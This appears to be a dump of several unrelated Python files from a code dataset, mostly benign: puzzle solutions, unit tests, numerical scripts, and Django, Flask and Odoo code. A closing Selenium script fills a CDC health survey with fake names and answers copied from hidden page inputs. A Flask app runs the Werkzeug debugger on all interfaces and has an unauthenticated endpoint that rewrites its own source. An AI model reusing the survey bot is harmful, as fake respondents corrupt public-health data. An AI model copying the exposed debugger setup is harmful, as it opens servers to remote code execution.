Kundu/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":30488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7766735382","text":"from itertools import product\n\ndef parse_instructions(lines):\n instructions = []\n for line in lines:\n instruction = {}\n tokens = line.split()\n if tokens[0] == 'mask':\n instruction['type'] = 'mask'\n instruction['value'] = tokens[-1]\n else:\n address = tokens[0].split('[')[1].split(']')[0]\n instruction['type'] = 'mem'\n instruction['address'] = int(address)\n instruction['value'] = int(tokens[-1])\n instructions.append(instruction)\n\n return instructions\n\n\ndef apply_mask(mask_string, number):\n\n binary = list(bin(number)[2:].rjust(36, '0'))\n\n x_indices = []\n for (i, char) in enumerate(mask_string):\n if char == '1':\n binary[i] = '1'\n if char == 'X':\n x_indices.append(i)\n\n numbers = []\n if not len(x_indices):\n numbers.append(binary)\n\n combinations = [[0,1] for index in x_indices]\n combinations = product(*combinations)\n\n for combination in combinations:\n new_binary = binary.copy()\n for (i,value) in enumerate(combination):\n new_binary[x_indices[i]] = str(value)\n numbers.append(new_binary)\n\n return list(map(lambda x: int(x, 2), map(lambda x: \"\".join(x), numbers)))\n\n\ndef run(instructions, memory):\n current_mask = None\n for instruction in instructions:\n if instruction['type'] == 'mask':\n current_mask = instruction['value']\n else:\n addresses = apply_mask(current_mask, int(instruction['address']))\n for address in addresses:\n memory[address] = instruction['value']\n\n\nwith open('input', 'r') as f:\n lines = [line.strip() for line in f.readlines()]\n\ninstructions = parse_instructions(lines)\n\nmemory = {}\n\nrun(instructions, memory)\n\nprint(sum(memory.values()))\n","repo_name":"medvesekg/adventofcode2020","sub_path":"14/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35337295884","text":"import pytest\n\nfrom aiodnsbl.checker import DNSBLChecker\nfrom aiodnsbl.providers import BASE_DOMAIN_PROVIDERS, BASE_PROVIDERS\n\n\n@pytest.mark.asyncio\nasync def test_checker():\n checker = DNSBLChecker()\n\n res = await checker.check(\"68.128.212.240\")\n assert res.blacklisted is True\n assert len(res.detected_by) > 0\n assert len(res.providers) == len(BASE_PROVIDERS)\n\n results = await checker.bulk_check([\"68.128.212.240\", \"8.8.8.8\"])\n assert len(results) == 2\n\n res = await checker.check(\"9.9.9.9\")\n assert res.blacklisted is False\n assert len(res.detected_by) == 0\n\n\n@pytest.mark.asyncio\nasync def test_checker_ipv6():\n checker = DNSBLChecker()\n res = await checker.check(\"2001:4860:4860::8844\")\n assert res.blacklisted is False\n\n\n@pytest.mark.asyncio\nasync def test_domain_checker():\n checker = DNSBLChecker()\n domain = \"example.com\"\n res = await checker.check(domain)\n assert res.blacklisted is False\n assert len(res.providers) == len(BASE_DOMAIN_PROVIDERS)\n\n\n@pytest.mark.asyncio\nasync def test_domain_idna():\n checker = DNSBLChecker()\n res = await checker.check(\"вуцхгйю.рф\")\n assert res.address == \"вуцхгйю.рф\"\n\n\n@pytest.mark.asyncio\nasync def test_domain_providers():\n checker = DNSBLChecker()\n res = await checker.check(\"google.com\")\n assert res.blacklisted is False\n\n\n@pytest.mark.asyncio\nasync def test_wrong_domain_format():\n invalid_inputs = [\"abc-\", \"8.8.8.256\"]\n for invalid_input in invalid_inputs:\n checker = DNSBLChecker()\n with pytest.raises(ValueError):\n await checker.check(invalid_input)\n\n\n@pytest.mark.asyncio\nasync def test_capitalization_in_domain():\n capitalized_domains = [\"Google.com\", \"Facebook.com\"]\n for domain in capitalized_domains:\n checker = DNSBLChecker()\n res = await checker.check(domain)\n assert res.blacklisted is False\n","repo_name":"ninoseki/aiodnsbl","sub_path":"tests/test_checker.py","file_name":"test_checker.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"18784246565","text":"# 5.0 Reorder List\ndef even_odd(A: list[int]) -> None:\n \"\"\"\n Reorder an integer list so that even entries appear first.\n \"\"\"\n next_even, next_odd = 0, len(A) - 1\n while next_even < next_odd:\n if A[next_even] % 2 == 0:\n next_even += 1\n else:\n A[next_even], A[next_odd] = A[next_odd], A[next_even]\n next_odd -= 1\n\n# 5.1 The Dutch National Flag Problem\ndef dutch_flag(A: list[int], pivot_idx: int) -> None:\n \"\"\"\n Takes an integer array, A, and an index, pivot_idx, and rearranges the elements such that all elements\n less than A[pivot_idx] (the \"pivot\") appear first, followed by elements equal to the pivot, followed\n by elements greater than the pivot.\n \"\"\"\n if len(A) < 2:\n return None\n\n if pivot_idx >= len(A):\n raise IndexError(\"Pivot index (idx) out of range.\")\n\n lesser = []\n equal = []\n greater = []\n for a in A:\n if a < A[pivot_idx]:\n lesser.append(a)\n elif a == A[pivot_idx]:\n equal.append(a)\n else:\n greater.append(a)\n \n lesser.extend(equal)\n lesser.extend(greater)\n\n for i in range(0,len(A)):\n A[i] = lesser[i]\n\ndef increment_array_integer(A: list[int]) -> None:\n \"\"\"\n Takes as input an array of digits encoding a nonnegative decimal integer D and updates\n the array to represent the integer D+1. For example, the input [1,2,9] is updated to\n [1,3,0]\n \"\"\"\n idx = len(A) - 1\n found = False\n\n while idx > -1 and found == False:\n if A[idx] < 9:\n A[idx] += 1\n found = True\n else:\n A[idx] = 0\n \n idx -= 1\n \n if idx == -1 and found == False:\n A.append(0)\n A[0] = 1\n","repo_name":"TommyHughes/eopi_python","sub_path":"arrays/exercises.py","file_name":"exercises.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26396373510","text":"import socket\n\nterminate_string = '-term-end-'\nBUFF_SIZE = 1024\n\nif __name__ == \"__main__\":\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.bind(('127.0.0.1', 8080))\n server_socket.listen(10)\n\n while True:\n (client_socket, server) = server_socket.accept()\n\n result = ''.encode('utf-8')\n\n while True:\n data = client_socket.recv(BUFF_SIZE)\n\n if data.find(terminate_string.encode('utf-8')) != -1:\n data = data.replace(terminate_string.encode('utf-8'), ''.encode('utf-8'))\n result += data\n break\n\n result += data\n if len(data) < BUFF_SIZE:\n break\n\n if result.find(terminate_string.encode('utf-8')) != -1:\n result = result.replace(terminate_string.encode('utf-8'), ''.encode('utf-8'))\n print(f'length of result: {len(result)}')\n\n sendData = f'received {len(result)} bytes' + terminate_string\n send_len = client_socket.send(sendData.encode('utf-8'))\n\n if send_len != len(sendData):\n print('error on send')\n\n with open('./4k_image_received.jpg', 'wb') as f:\n f.write(result)\n\n client_socket.close()\n","repo_name":"OptimistLabyrinth/socket_programming","sub_path":"python3_implementation/v3/server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23713249054","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 5 09:30:24 2018\r\n\r\n@author: lj\r\n\"\"\"\r\nfrom numpy import *\r\n\r\ndef loadDataSet(filename):\r\n '''导入数据\r\n input: filename:文件名\r\n '''\r\n dataMat = []\r\n labelMat = []\r\n fr = open(filename)\r\n for line in fr.readlines():\r\n lineArr = line.strip().split('\\t')\r\n dataMat.append(float(lineArr[0]))\r\n labelMat.append(float(lineArr[1]))\r\n return mat(dataMat).T,mat(labelMat).T\r\n \r\n\r\ndef kernelTrans(X,A,kTup):\r\n '''数据集中每一个数据向量与A的核函数值\r\n input: X--特征数据集\r\n A--输入向量\r\n kTup--核函数参量定义\r\n output: K--数据集中每一个数据向量与A的核函数值组成的矩阵\r\n '''\r\n X = mat(X)\r\n m,n = shape(X)\r\n K = mat(zeros((m,1)))\r\n if kTup[0] == 'lin':\r\n K = X * A.T\r\n elif kTup[0] == 'rbf':\r\n for j in range(m):\r\n deltaRow = X[j] - A\r\n K[j] = deltaRow * deltaRow.T\r\n K = exp(K/(-1 * kTup[1] ** 2))\r\n else: raise NameError('Houston We Have a Problem ,That Kernel is not recognized')\r\n return K\r\n \r\nclass optStruct:\r\n def __init__(self,dataMatIn,classLabels,C,kTup):\r\n self.X = dataMatIn\r\n self.labelMat = classLabels\r\n self.C = C\r\n self.m = shape(dataMatIn)[0]\r\n self.alphas = mat(zeros((self.m,1)))\r\n self.b = 0\r\n self.K = mat(zeros((self.m,self.m))) #特征数据集合中向量两两核函数值组成的矩阵,[i,j]表示第i个向量与第j个向量的核函数值\r\n for i in range(self.m):\r\n self.K[:,i] = kernelTrans(self.X, self.X[i,:], kTup)\r\n \r\n\r\ndef leastSquares(dataMatIn,classLabels,C,kTup):\r\n '''最小二乘法求解alpha序列\r\n input:dataMatIn:特征数据集\r\n classLabels:分类标签集\r\n C:参数,(松弛变量,允许有些数据点可以处于分隔面的错误一侧)\r\n kTup: 核函数类型和参数选择 \r\n output:b--w.T*x+b=y中的b\r\n alphas:alphas序列 \r\n '''\r\n ##1.参数设置\r\n oS = optStruct(dataMatIn,classLabels,C,kTup)\r\n unit = mat(ones((oS.m,1))) #[1,1,...,1].T\r\n I = eye(oS.m)\r\n zero = mat(zeros((1,1)))\r\n upmat = hstack((zero,unit.T))\r\n downmat = hstack((unit,oS.K + I/float(C)))\r\n ##2.方程求解\r\n completemat = vstack((upmat,downmat)) #lssvm中求解方程的左边矩阵\r\n rightmat = vstack((zero,oS.labelMat)) # lssvm中求解方程的右边矩阵\r\n b_alpha = completemat.I * rightmat\r\n ##3.导出偏置b和Lagrange乘子序列\r\n oS.b = b_alpha[0,0]\r\n for i in range(oS.m):\r\n oS.alphas[i,0] = b_alpha[i+1,0]\r\n e = oS.alphas/C\r\n return oS.alphas,oS.b,e\r\n\r\ndef weights(e):\r\n '''计算权重序列\r\n input:e(mat):LSSVM误差矩阵\r\n output:v(mat):权重矩阵\r\n '''\r\n ##1.参数设置\r\n c1 = 2.5\r\n c2 = 3\r\n m = shape(e)[0]\r\n v = mat(zeros((m,1)))\r\n v1 = eye(m)\r\n q1 = int(m/4.0)\r\n q3 = int((m*3.0)/4.0)\r\n e1 = []\r\n shang = mat(zeros((m,1)))\r\n ##2.误差序列从小到大排列\r\n for i in range(m):\r\n e1.append(e[i,0])\r\n e1.sort()\r\n ##3.计算误差序列第三四分位与第一四分位的差\r\n IQR = e1[q3] - e1[q1]\r\n ##4.计算s的值\r\n s = IQR/(2 * 0.6745)\r\n ##5.计算每一个误差对应的权重\r\n for j in range(m):\r\n shang[j,0] = abs(e[j,0]/s)\r\n for x in range(m):\r\n if shang[x,0] <= c1:\r\n v[x,0] = 1.0\r\n if shang[x,0] > c1 and shang[x,0] <= c2:\r\n v[x,0] = (c2 - shang[x,0])/(c2 - c1)\r\n if shang[x,0] > c2:\r\n v[x,0] = 0.0001\r\n v1[x,x] = 1/float(v[x,0])\r\n return v1\r\n\r\ndef weightsleastSquares(dataMatIn,classLabels,C,kTup,v1):\r\n '''最小二乘法求解alpha序列\r\n input:dataMatIn:特征数据集\r\n classLabels:分类标签集\r\n C:参数,(松弛变量,允许有些数据点可以处于分隔面的错误一侧)\r\n kTup: 核函数类型和参数选择 \r\n output:b--w.T*x+b=y中的b\r\n alphas:alphas序列 \r\n '''\r\n ##1.参数设置\r\n oS = optStruct(dataMatIn,classLabels,C,kTup)\r\n unit = mat(ones((oS.m,1))) #[1,1,...,1].T\r\n #I = eye(oS.m)\r\n gamma = kTup[1]\r\n zero = mat(zeros((1,1)))\r\n upmat = hstack((zero,unit.T))\r\n downmat = hstack((unit,oS.K + v1/float(C)))\r\n ##2.方程求解\r\n completemat = vstack((upmat,downmat)) #lssvm中求解方程的左边矩阵\r\n rightmat = vstack((zero,oS.labelMat)) # lssvm中求解方程的右边矩阵\r\n b_alpha = completemat.I * rightmat\r\n ##3.导出偏置b和Lagrange乘子序列\r\n oS.b = b_alpha[0,0]\r\n for i in range(oS.m):\r\n oS.alphas[i,0] = b_alpha[i+1,0]\r\n e = oS.alphas/C\r\n return oS.alphas,oS.b\r\n\r\n\r\ndef predict(alphas,b,dataMat):\r\n '''预测结果\r\n input:alphas(mat):WLSSVM模型的Lagrange乘子序列\r\n b(float):WLSSVM模型回归方程的偏置\r\n dataMat(mat):测试样本集\r\n output:predict_result(mat):测试结果\r\n '''\r\n m,n = shape(dataMat)\r\n predict_result = mat(zeros((m,1)))\r\n for i in range(m):\r\n Kx = kernelTrans(dataMat,dataMat[i,:],kTup) #可以对alphas进行稀疏处理找到更准确的值 \r\n predict_result[i,0] = Kx.T * alphas + b \r\n return predict_result\r\n\r\ndef predict_average_error(predict_result,label):\r\n '''计算平均预测误差\r\n input:predict_result(mat):预测结果\r\n label(mat):实际结果\r\n output:average_error(float):平均误差\r\n '''\r\n m,n = shape(predict_result)\r\n error = 0.0\r\n for i in range(m):\r\n error += abs(predict_result[i,0] - label[i,0])\r\n average_error = error / m\r\n return average_error\r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n ##1.数据导入\r\n print('--------------------Load Data------------------------')\r\n dataMat,labelMat = loadDataSet('sine.txt')\r\n ##2.参数设置\r\n print('--------------------Parameter Setup------------------')\r\n C = 0.6\r\n k1 = 0.3\r\n kernel = 'rbf'\r\n kTup = (kernel,k1)\r\n ##3.求解LSSVM模型\r\n print('-------------------Save LSSVM Model-----------------')\r\n alphas,b,e = leastSquares(dataMat,labelMat,C,kTup)\r\n ##4.计算误差权重\r\n print('----------------Calculate Error Weights-------------')\r\n v1 = weights(e)\r\n ##5.求解WLSSVM模型\r\n print('------------------Save WLSSVM Model--------------- -')\r\n alphas1,b1 = weightsleastSquares(dataMat,labelMat,C,kTup,v1)\r\n ##6.预测结果\r\n print('------------------Predict Result------------------ -')\r\n predict_result = predict(alphas1,b1,dataMat)\r\n ##7.平均误差\r\n print('-------------------Average Error------------------ -')\r\n average_error = predict_average_error(predict_result,labelMat)\r\n \r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"shiluqiang/WLSSVM_python","sub_path":"wlssvm.py","file_name":"wlssvm.py","file_ext":"py","file_size_in_byte":6856,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"32"} +{"seq_id":"26006455408","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib\n# matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom scipy.io import savemat\nfrom scipy.io import loadmat\nimport timeit\n\n# import density integration functions\nfrom DensityIntegrationUncertaintyQuantification import Density_integration_Poisson_uncertainty\nfrom DensityIntegrationUncertaintyQuantification import Density_integration_WLS_uncertainty\n\nimport loadmat_functions\n\nimport helper_functions\n\ndef main():\n \n # file containing displacements and uncertainties\n filename = 'sample-displacements.mat'\n \n # displacement estimation method ('c' for correlation and 't' for tracking)\n displacement_estimation_method = 'c'\n \n # displacement uncertainty method ('MC' for correlation and 'crlb' for tracking)\n displacement_uncertainty_method = 'MC'\n\n # set integration method ('p' for poisson or 'w' for wls)\n density_integration_method = 'w'\n \n # dataset type (syntehtic or experiment)\n dataset_type = 'synthetic'\n\n # -------------------------------------------------\n # experimental parameters for density integration\n # -------------------------------------------------\n experimental_parameters = dict()\n\n # ambient/reference density (kg/m^3)\n experimental_parameters['rho_0'] = 1.225\n\n # uncertainty in the reference density (kg/m^3) (MUST BE GREATER THAN 0)\n experimental_parameters['sigma_rho_0'] = 1e-10\n\n # gladstone dale constant (m^3/kg)\n experimental_parameters['gladstone_dale'] = 0.225e-3\n\n # ambient refractive index\n experimental_parameters['n_0'] = 1.0 + experimental_parameters['gladstone_dale'] * experimental_parameters['rho_0']\n\n # thickness of the density gradient field (m)\n experimental_parameters['delta_z'] = 0.01\n\n # distance between lens and dot target (object / working distance) (m)\n experimental_parameters['object_distance'] = 1.0\n\n # distance between the mid-point of the density gradient field and the dot pattern (m)\n experimental_parameters['Z_D'] = 0.25\n\n # distance between the mid-point of the density gradient field and the camera lens (m)\n experimental_parameters['Z_A'] = experimental_parameters['object_distance'] - experimental_parameters['Z_D']\n \n # distance between the dot pattern and the camera lens (m)\n experimental_parameters['Z_B'] = experimental_parameters['object_distance']\n\n # origin (pixels)\n experimental_parameters['x0'] = 256 \n experimental_parameters['y0'] = 256 \n\n # size of a pixel on the camera sensor (m)\n experimental_parameters['pixel_pitch'] = 10e-6\n\n # focal length of camera lens (m)\n experimental_parameters['focal_length'] = 105e-3\n\n # non-dimensional magnification of the dot pattern (can also set it directly)\n experimental_parameters['magnification'] = experimental_parameters['focal_length'] / (\n experimental_parameters['object_distance'] - experimental_parameters['focal_length'])\n\n # uncertainty in magnification\n experimental_parameters['sigma_M'] = 0.1\n\n # uncertainty in Z_D (m)\n experimental_parameters['sigma_Z_D'] = 1e-3\n\n\n # non-dimensional magnification of the mid-z-PLANE of the density gradient field\n experimental_parameters['magnification_grad'] = experimental_parameters['magnification'] \\\n * experimental_parameters['Z_B'] / experimental_parameters['Z_A']\n \n # --------------------------\n # processing\n # --------------------------\n # load displacements and uncertainties from file \n if displacement_estimation_method == 'c':\n # correlation\n X_pix, Y_pix, U, V, sigma_U, sigma_V, Eval = helper_functions.load_displacements_correlation(filename, displacement_uncertainty_method) \n elif displacement_estimation_method == 't':\n # tracking\n X_pix, Y_pix, U, V, sigma_U, sigma_V = helper_functions.load_displacements_tracking(filename, experimental_parameters['dot_spacing'], displacement_uncertainty_method) \n\n # account for sign convention\n if dataset_type == 'synthetic':\n U *= -1\n V *= -1\n\n # create mask array (1 for flow, 0 elsewhere) - only implemented for Correlation at the moment\n if displacement_estimation_method == 'c':\n mask = helper_functions.create_mask(X_pix.shape[0], X_pix.shape[1], Eval)\n elif displacement_estimation_method == 't': \n mask = np.ones_like(a=U)\n\n # convert displacements to density gradients and co-ordinates to physical units \n X, Y, rho_x, rho_y, sigma_rho_x, sigma_rho_y = helper_functions.convert_displacements_to_physical_units(X_pix, Y_pix, U, V, sigma_U, sigma_V, experimental_parameters, mask)\n\n # define dirichlet boundary points (minimum one point) - here defined to be all boundaries\n # This is specific to the current dataset\n dirichlet_label, rho_dirichlet, sigma_rho_dirichlet = helper_functions.set_bc(X_pix.shape[0], X_pix.shape[1], experimental_parameters['rho_0'], experimental_parameters['sigma_rho_0'])\n \n # calculate density and uncertainty\n if density_integration_method == 'p':\n # Poisson\n rho, sigma_rho = Density_integration_Poisson_uncertainty(X, Y, mask, rho_x, rho_y,\n dirichlet_label, rho_dirichlet,\n uncertainty_quantification=True,\n sigma_grad_x=sigma_rho_x, sigma_grad_y=sigma_rho_y,\n sigma_dirichlet=sigma_rho_dirichlet)\n elif density_integration_method == 'w':\n # Weighted Least Squares\n rho, sigma_rho = Density_integration_WLS_uncertainty(X, Y, mask,rho_x, rho_y,\n dirichlet_label, rho_dirichlet,\n uncertainty_quantification=True,\n sigma_grad_x=sigma_rho_x, sigma_grad_y=sigma_rho_y,\n sigma_dirichlet=sigma_rho_dirichlet)\n\n # save the results to file\n savemat(filename='sample-result.mat', mdict={'X': X, 'Y': Y, 'rho': rho, 'sigma_rho': sigma_rho,\n 'dirichlet_label': dirichlet_label, 'rho_dirichlet':rho_dirichlet, 'sigma_rho_dirichlet':sigma_rho_dirichlet\n }, long_field_names=True)\n\n # plot results\n fig = helper_functions.plot_figures(X, Y, rho_x, rho_y, rho, sigma_rho)\n \n # save plot to file\n fig.savefig('sample-result.png')\n plt.close()\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lalitkrajendran/bos-density-integration-package","sub_path":"sample_script.py","file_name":"sample_script.py","file_ext":"py","file_size_in_byte":6772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72655404251","text":"from django.core.paginator import Paginator\nfrom django.core.paginator import EmptyPage\nfrom django.core.paginator import PageNotAnInteger\nfrom django.db.models import F\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404, redirect\n\n# Create your views here.\nfrom django.views.generic import ListView, DetailView\nfrom django.contrib import messages\n\nfrom news.models import Articles\nfrom .models import Programs\n\n\n\n\nclass ProgramsList(ListView):\n model = Programs\n template_name = 'programs/programms.html'\n paginate_by = 6\n\n def get_context_data(self, **kwargs):\n context = super(ProgramsList, self).get_context_data(**kwargs)\n list_exam = Programs.objects.all()\n paginator = Paginator(list_exam, self.paginate_by)\n\n page = self.request.GET.get('page')\n\n try:\n file_exams = paginator.page(page)\n except PageNotAnInteger:\n file_exams = paginator.page(1)\n except EmptyPage:\n file_exams = paginator.page(paginator.num_pages)\n context['programms_top'] = Articles.objects.all().order_by('-view')[:6]\n context['list_exams'] = file_exams\n return context\n\n# class ProgramsDetail(DetailView):\n# model = Articles\n# template_name = 'programs/programm.html'\n#\n# def get_context_data(self, **kwargs):\n# context = super(ProgramsDetail, self).get_context_data(**kwargs)\n# context['top_art'] = Articles.objects.all().order_by('-view')[:10]\n# context['top_prog'] = Programs.objects.all().order_by('?')[:10]\n\n\n\ndef ProgramsDetail(request, slug):\n tag=None\n article_details = get_object_or_404(Programs,slug=slug)\n top_art = Articles.objects.all().order_by('-view')[:6]\n top_prog = Programs.objects.all().order_by('?')[:6]\n articles_top = Articles.objects.all().order_by('-view')[:6]\n\n return render(\n request,\n 'programs/programm.html',\n {\n 'article_details': article_details,\n 'top_art':top_art,\n 'articles_top':articles_top,\n 'top_prog':top_prog,\n 'tag': tag\n }\n )\n\n\n\n\ndef post_searchProgramm(request):\n queryProgramm = request.GET.get('searchProgramm')\n if queryProgramm:\n results = Programs.objects.filter(title__icontains=queryProgramm).order_by('-date')\n\n total_results = results.count()\n return render(request,\n 'news/posts.html',\n {\n 'results': results,\n 'query': queryProgramm,\n 'total_results': total_results})\n else:\n messages.info(request, 'no results found for {}', format(queryProgramm))","repo_name":"LibGame/itRapter","sub_path":"itRapter/programs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27807192518","text":"from flask import Flask,request\nimport os,sys\nfrom werkzeug.serving import run_simple\n\napp=Flask(__name__)\n\ndef refresh():\n with open(__file__,'w') as fo:\n with open('target.py','r') as f2:\n fo.writelines(f2.readlines())\n with open(__file__) as fo:\n source_code = fo.read()\n byte_code = compile(source_code, __file__, \"exec\")\n # exec(byte_code)\n python = sys.executable\n os.execl(python, python, * sys.argv)\n exit()\n\n@app.route('/')\ndef home():\n return '1'\n\n@app.route('/add')\ndef add():\n refresh()\n return '12'\n\n@app.route('/shutdown')\ndef shutdown():\n shutdown_func=request.environ.get('werkzeug.server.shutdown')\n shutdown_func()\n raise RuntimeError\n\n\n \n\nif __name__=='__main__':\n run_simple('0.0.0.0',8000,app,use_debugger=True,use_reloader=False)\n # app.run(host='0.0.0.0')\n","repo_name":"Timothychen00/Flask-Reload","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22927537897","text":"from odoo.tests import Form\nfrom odoo.tests.common import SavepointCase\nfrom odoo.tools import float_compare\n\n\nclass TestDeliveryPriceMethod(SavepointCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n self = cls\n product_shipping_cost = self.env[\"product.product\"].create(\n {\n \"type\": \"service\",\n \"name\": \"Shipping costs\",\n \"standard_price\": 10,\n \"list_price\": 100,\n }\n )\n self.carrier = self.env[\"delivery.carrier\"].create(\n {\n \"name\": \"Test carrier\",\n \"delivery_type\": \"fixed\",\n \"product_id\": product_shipping_cost.id,\n \"fixed_price\": 99.99,\n }\n )\n self.pricelist = self.env[\"product.pricelist\"].create(\n {\n \"name\": \"Test pricelist\",\n \"item_ids\": [\n (\n 0,\n 0,\n {\n \"applied_on\": \"3_global\",\n \"compute_price\": \"formula\",\n \"base\": \"list_price\",\n },\n )\n ],\n }\n )\n self.product = self.env.ref(\"product.product_delivery_01\")\n self.partner = self.env.ref(\"base.res_partner_12\")\n self.sale = self.env[\"sale.order\"].create(\n {\n \"partner_id\": self.partner.id,\n \"pricelist_id\": self.pricelist.id,\n \"carrier_id\": self.carrier.id,\n \"order_line\": [\n (0, 0, {\"product_id\": self.product.id, \"product_uom_qty\": 1})\n ],\n }\n )\n\n def _add_delivery(self):\n sale = self.sale\n delivery_wizard = Form(\n self.env[\"choose.delivery.carrier\"].with_context(\n {\"default_order_id\": sale.id, \"default_carrier_id\": self.carrier}\n )\n )\n choose_delivery_carrier = delivery_wizard.save()\n choose_delivery_carrier.button_confirm()\n\n def test_delivery_price_fixed(self):\n sale = self.sale\n self._add_delivery()\n delivery_lines = sale.order_line.filtered(lambda r: r.is_delivery)\n delivery_price = sum(delivery_lines.mapped(\"price_unit\"))\n self.assertEqual(float_compare(delivery_price, 99.99, precision_digits=2), 0)\n self.assertEqual(len(delivery_lines), 1)\n sale.action_confirm()\n picking = sale.picking_ids[0]\n self.assertEqual(len(picking.move_lines), 1)\n self.assertEqual(picking.carrier_id, self.carrier)\n picking.action_confirm()\n picking.action_assign()\n self.assertFalse(picking.carrier_price)\n picking.send_to_shipper()\n self.assertEqual(picking.carrier_price, 99.99)\n\n def test_delivery_price_method(self):\n self.carrier.write({\"price_method\": \"fixed\", \"fixed_price\": 99.99})\n sale = self.sale\n self._add_delivery()\n delivery_lines = sale.order_line.filtered(lambda r: r.is_delivery)\n delivery_price = sum(delivery_lines.mapped(\"price_unit\"))\n self.assertEqual(float_compare(delivery_price, 99.99, precision_digits=2), 0)\n self.assertEqual(len(delivery_lines), 1)\n self.carrier.write({\"price_method\": \"fixed\", \"fixed_price\": 5})\n self._add_delivery()\n delivery_lines = sale.order_line.filtered(lambda r: r.is_delivery)\n delivery_price = sum(delivery_lines.mapped(\"price_unit\"))\n self.assertEqual(delivery_price, 5)\n self.carrier.write(\n {\n \"price_method\": \"base_on_rule\",\n \"price_rule_ids\": [\n (\n 0,\n 0,\n {\n \"variable\": \"quantity\",\n \"operator\": \"==\",\n \"max_value\": 1,\n \"list_base_price\": 11.11,\n },\n )\n ],\n }\n )\n self._add_delivery()\n delivery_lines = sale.order_line.filtered(lambda r: r.is_delivery)\n delivery_price = sum(delivery_lines.mapped(\"price_unit\"))\n self.assertEqual(delivery_price, 11.11)\n","repo_name":"OCA/delivery-carrier","sub_path":"delivery_price_method/tests/test_delivery_price_method.py","file_name":"test_delivery_price_method.py","file_ext":"py","file_size_in_byte":4357,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"32"} +{"seq_id":"73168720731","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import Select\nimport time\nimport os\n# Version: 2.0\n# 浏览器驱动版本:114.0.5735.90\n\n# 获取人名列表函数定义\ndef GettingNames(wd):\n # 调用WebDriver 对象的get方法 可以让浏览器打开指定网址\n wd.maximize_window()\n wd.get('https://www.qmsjmfb.com/')\n\n # 搜索名字\n elements = [element.text for element in wd.find_elements(By.XPATH, \"//div/ul/li\")]\n return elements\n\n# 填写身份信息函数定义\ndef FulfillInfo(wd, name):\n # 调用WebDriver 对象的get方法 可以让浏览器打开指定网址\n wd.maximize_window()\n wd.get('https://www.jscdc.cn/KABP2011/business/index1.jsp?tdsourcetag=s_pcqq_aiomsg')\n\n # 通过 Select 对象选中南京市,栖霞区,马群街道以及填入姓名\n Select(wd.find_element(By.ID, \"zone3\")).select_by_visible_text(\"南京市\")\n Select(wd.find_element(By.ID, \"zone4\")).select_by_visible_text(\"栖霞区\")\n Select(wd.find_element(By.ID, \"zone5\")).select_by_visible_text(\"马群街道\")\n wd.find_element(By.ID, 'name').send_keys(name)\n\n # 通过 Select 对象选中0~15岁以下,男,小学,学生,小学3~4年级\n Select(wd.find_element(By.ID, \"ageGroup\")).select_by_visible_text(\"0~15岁以下\")\n Select(wd.find_element(By.ID, \"sex\")).select_by_visible_text(\"男\")\n Select(wd.find_element(By.ID, \"educationStatus\")).select_by_visible_text(\"小学\")\n Select(wd.find_element(By.ID, \"metier\")).select_by_visible_text(\"学生\")\n Select(wd.find_element(By.ID, \"studentLevel\")).select_by_visible_text(\"小学3~4年级\")\n\n # 点击开始按钮\n wd.find_element(By.ID, 'log_img').click()\n\n# 回答问题函数定义\ndef AnsweringQuestions(wd):\n # 获取答案\n # 获取题数\n num = wd.find_element(By.ID, \"__subjectCount\")\n num = int(num.text)\n\n # 获取所有input的元素构成一个list\n answers = wd.find_elements(By.XPATH, \"//*[@id=\\\"subject\\\"]/input\")\n\n # 填充答案\n for i in range(num):\n answer = answers[i].get_attribute('value').split(\",\")[1]\n wd.find_element(By.CSS_SELECTOR, \"#KWait\" + str(i + 1) + \" input[value=\\\"\" + answer + str(i + 1) + \"\\\"]\").click()\n\n wd.find_element(By.ID, \"btnAct\" + str(num) + \"\").click()\n wd.switch_to.alert.accept()\n\n# Main Part\n# 创建 WebDriver 对象,指明使用chrome浏览器驱动\n# webDriver = webdriver.Chrome(service=Service(r'd:\\tools\\chromedriver.exe'))\nwebDriver = webdriver.Chrome(service=Service(r'114.0.5735.90\\chromedriver.exe'))\nnameList = GettingNames(webDriver)\n\n# 开始循环答题\nfor i in range(1):\n name = nameList[i]\n FulfillInfo(webDriver, name)\n AnsweringQuestions(webDriver)\n\n # 等到网页加载完毕后截屏保存\n time.sleep(1)\n\n # 检测截图文件夹是否存在\n if not os.path.exists('Screenshots/'):\n os.makedirs('Screenshots/')\n \n # 创建截图文件\n if(webDriver.get_screenshot_as_file('Screenshots/' + str(i+1) + 